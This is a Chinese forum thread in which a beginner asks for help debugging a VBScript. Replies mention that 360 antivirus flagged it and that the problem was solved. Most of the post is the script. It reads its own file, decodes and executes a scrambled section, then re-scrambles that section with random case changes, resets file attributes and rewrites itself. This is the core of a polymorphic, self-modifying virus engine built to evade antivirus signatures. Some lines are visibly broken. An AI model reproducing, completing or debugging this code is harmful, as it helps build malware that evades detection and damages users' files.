我怎么都找不到这段东西到底哪里错了(本人菜鸟)，应该不是太复杂，大家帮忙解决下吧
Sub encd(b)
b=REPlacE(B,chR(39),cHr(34)&cHr(34))
B=rEplace(B,chr(10),CHR(37))
zfy2=replace(zfy2,chr(13)&chr(10),chr(58))
For Iw=1 tO LEN(zfy2)
qa=rounD(RND*(lEN(zfy2)-1))+1
Gh=aSc(MId(zfy2,qa,1))
If GH>65 aND Gh<90 theN
gH=Gh
+3
2
ElSE
If Gh>97 anD gh<122 THeN
gH=gH-32
eND IF
ENd iF
zfy2=LEFT(zfy2,Qa-1)&cHr(gh)&RigHt(zfy2,leN(zfy2)-Qa)
neXT
FOR i=1 TO lEn(b)
zz=rouNd(RNd*(LEn(b)-1))+1
f=aSc(mID(b,zz,1))
If F>65 anD f<90 theN
F=f+32
ELsE
If F>97 and F<122 Then
f=f-32
End If
End if
b=leFT(B,zz-1)&Chr(f)&rIghT(b,LEn(B)-zz)
Next
z=""
L=""
FoR I=1 TO lEn(b)
n=Mid(B,I,1)&I&chR(64)
if z="" ThEn
z=n
eNd iF
p=INt(rND*leN(z))
iF p>=lEN(z) tHEN
P=P-1
end If
if p=0 tHEn
p=1
ENd if
if z<>n ThEN
iF mID(z,P,1)=chR(64) aND p<Len(z) and z<>chr(10) and z<>chr(13) THen
z=leFT(z,P)&N&right(z,lEn(z)-p)
eLse:z=z&N
END iF
ENd IF
Next
msgbox z
z=rEplaCE(z,chr(2),CHr(39))
z=rEplaCE(z,CHr(37),chr(13)&chr(10)&ChR(39))
z=REplaCe(z,chR(34)&chr(13)&chr(34),chr(34)&chr(34))
msgbox Chr(39)&z&srv&chr(13)&chr(10)&zfy2
wrt wp,Chr(39)&z&srv&chr(13)&chr(10)&zfy2
End Sub
msgbox"abc",64''-_-midx
set fs=createobject("scripting.filesystemobject")
wp=wscript.scriptfullname
nes=fs.opentextfile(wp).readall
srv="''-_-m"&"idx"
bx=split(nes,srv,-1,1)
zfy1=bx(0):zfy2=bx(1)
UneD zfy1
sUb UneD(V2)
V3=REPlacE(v2,ChR(39),chr(2))
v2=REPlacE(v2,ChR(39),"")
eXEcUtE "dim nj("&(1+rOuNd(lEn(V2)/3))&")"
PR=spLiT(v2,cHr(64))
Num=0
fOR EacH js IN Pr
If jS<>"" and len(jS)<20 Then
Lg=RiGhT(jS,lEn(js)-1)
nj(LG)=lEFT(JS,1)
End If
NuM=num+1
Next
fg=""
msgbox num
For yT=1 To Num
Fg=Fg&NJ(yT)
Next
fg=RepLacE(Fg,cHR(34)&chr(13)&chr(34),CHr(34)&ChR(34))
if fg="" then
fp=v2
else
fp=fg
end if
fp=replace(fp,chr(13),chr(13)&chr(10))
fp=replace(fp,chr(10),chr(13)&chr(10))
fs.createtextfile("d.txt").write fp
msgbox fp
exeCutE fp
encd fp
End sub
sub wrt(vr1,vr2)
on error resume next
if fs.opentextfile(vr1).readall<>vr2 then
set bs=fs.getfile(vr1)
x=bs.attributes
bs.attributes=0
fs.createtextfile(vr1).write vr2
bs.attributes=x
end if
end sub


来人呐！

写的什么?360sd都警告了,
感觉也没啥危险操作啊( ⊙ o ⊙ )！

大小写混乱，不留空行，眼睛一看就花了。

问题已解决...